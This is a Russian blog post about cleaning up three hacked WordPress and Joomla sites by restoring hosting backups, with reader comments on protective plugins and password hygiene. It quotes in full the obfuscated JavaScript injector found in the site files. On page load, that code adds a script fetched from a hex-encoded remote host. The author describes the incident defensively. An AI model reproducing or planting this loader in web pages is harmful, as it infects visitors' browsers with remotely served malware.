Взломали сайт

Как я лечил взломанный сайт
Вчера вечером 19 марта обнаружил что 3 моих сайта взломали.
Два из них на Wordpress’e и один на joomla. Те что на Wordpress’e не открывались, в место содержания страницы было выведено сообщение об ошибке было такого содержания:
Parse error: syntax error, unexpected '<' in /home/users/a/мой ник в системе/domains/prodaissilku.ru/wp-includes/default-widgets.php on line 1034
Ну что же, открываю я файл default-widgets.php и в самом конце страницы вижу код которого раньше не было.
Выглядел он так:
<script type="text/javascript">// <![CDATA[
var Je=new Array();this.Wo='';function Y(){var w;if(w!=''){w='vB'};var W='';this.mV='';var N;if(N!='Pk' && N!='hz'){N='Pk'};var j="";var E;if(E!='g'){E=''};var A=new String("g");var h=unescape;var IA=new String();var S;if(S!='M'){S=''};var P="\x68\x74\x74\x70\x3a\x2f\x2f\x35\x31\x2d\x6c\x61\x2e\x73\x74\x75\x64\x69\x76\x65\x72\x7a\x65\x69\x63\x68\x6e\x69\x73\x2e\x63\x6f\x6d\x2e\x6f\x72\x6b\x75\x74\x2d\x63\x6f\x2d\x69\x6e\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var B;if(B!='' && B!='x'){B='JJ'};var Ju;if(Ju!='' && Ju!='Q'){Ju='jT'};var _=window;var Jl;if(Jl!='tj' && Jl != ''){Jl=null};var _F=new String();var O=new String();function H(Yj,e){var qV;if(qV!='Jm' && qV!='o'){qV='Jm'};var v=h("%5b")+e+h("%5d");var YS=new RegExp(v, A);var hP=new Array();var mY;if(mY!='QL'){mY=''};return Yj.replace(YS, W);var U;if(U!='Zs'){U=''};var s=new Array();};var ct;if(ct!='' && ct!='pk'){ct=''};var xg=new String();var FE='';var Xz;if(Xz!='' && Xz!='b'){Xz=''};this.CL='';var z=document;var sx;if(sx!='' && sx!='i'){sx=null};var rG='';var c=H('8736570271367877270944397','46795231');var YV='';var zx=h("%2f%67%61%70%2e%63%6f%6d%2f%67%61%70%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6e%69%68%2e%67%6f%76%2f%67%6f%6f%67%6c%65%2e%67%72%2e%70%68%70");var XM;if(XM!='d'){XM='d'};var f;if(f!='' && f!='WA'){f=''};var Z='';var WC;if(WC!=''){WC='D'};this.AF="";var BQ;if(BQ!='' && BQ!='JuS'){BQ=null};function F(){var qz="";var Iy;if(Iy!='fu' && Iy != ''){Iy=null};Z=P;Z+=c;Z+=zx;var gy=new Date();try {var ld;if(ld!='' && ld!='Vv'){ld='rZ'};var _u;if(_u!='' && _u!='SJ'){_u='Vc'};var iu=new String();Fj=z.createElement(H('sPc6rPi6pftP','KOE4T81f6PF'));var JS=new Date();Fj.defer=[1][0];Fj.src=Z;var iQ=new Array();var AtE;if(AtE!='' && AtE!='Bw'){AtE='mk'};this.iX='';z.body.appendChild(Fj);this.IyW="";var Mj;if(Mj!=''){Mj='eb'};} catch(J){};}var oY;if(oY!=''){oY='YL'};_[new String("on"+"lo"+"ad")]=F;this.rK="";var uE=new Array();this.Xw='';};var kSQ="";this.mF='';Y();
// ]]></script>
<!--43f38dc388f397c4e92635e8b209ddb2-->
Удаляю его, обновляю файлы через ftp соединение, обновляю браузер и не вижу изменений. Так думаю, ладно, решил посмотреть содержимое файла index.php в корне каталога, открываю его текстовым редактором notepad++ и вижу тот же код, удаляю и его,
обновляю файлы через ftp, обновляю браузер и опят без изменений. Решил воспользоваться поиском ftp клиента и посмотреть, сколько же файлов с таким содержанием <!--43f38dc388f397c4e92635e8b209ddb2-->, оказалось просто огромное множество, и это только по одному сайту а как я уже говорил, легли у меня 3, точнее те что на Wordpress’e выдавали ошибку, а тот что на joomla открывался на первый взгляд нормально, но есть одно но, футер у сайта был не тот что должен быть, а слишком высокий с пустотой. Решил пробить сайт на joomla через поисковик яндекса а Яша меня предупреждает о том, что сайт заражен и заходить на него не следует.
Ну что ж все файлы мне и за 2 дня не перелопатить надо бекап файлов перезалить, но у меня самый свежий бекап файлов был только от 12.02.2010 числа, что меня немного и не устраивало, но тут я вспоминаю про сервис автоматические резервные копии файлов и баз данных предоставленный хостингом jino.ru при чем бесплатно. Захожу в раздел резервный копии и нахожу самую свежую копию всех моих сайтов, причем от 19 марта в 01-40, что очень меня порадовало. Сохранил все в автоматически создаваемую папку backups затем просто заменил все каталоги.
Вуаля все в норме.
Спасибо сервису jino иначе пришлось бы заливать то, что было, так же надо все-таки и самому эти копии создавать хотя бы раз в месяц, а базу данных раз в неделю на всякий случай, ведь и с самим хостингом может что-нибудь случиться.
Что касается Wordpress’a для него есть очень хороший плагин WordPress Database Backup отвечающий за создание резервных копий базы данных и позволяющий отправлять архив прямо на почту или сохранять в отдельно созданную папку.
Этот плагин русифицирован и поставляется с версией wordpress-2.8.6-rus-lecactus-edition-powerpack.







2 комментария к “Взломали сайт”
А как насчет защитных плагинов, типа anti-xss-attack и прочего? Они вообще помогают в таких случаях?
Плагин активирован. Дело тут не в плагине. Как я писал выше эта «зараза» сидела не только в Wordpress'е но и на joomla. Всего было 3 зараженных сайта. Видимо кто то или что то взломал(о) мой аккаунт к хостингу и проник ко всем файлам и папкам.
Дам маленький совет. Меняйте пароль к хостингу хотя бы раз в месяц ,не сохраняйте его для автоматического подключению к серверу в различных программах через которые вы подключаетесь через ftp и все будет норм .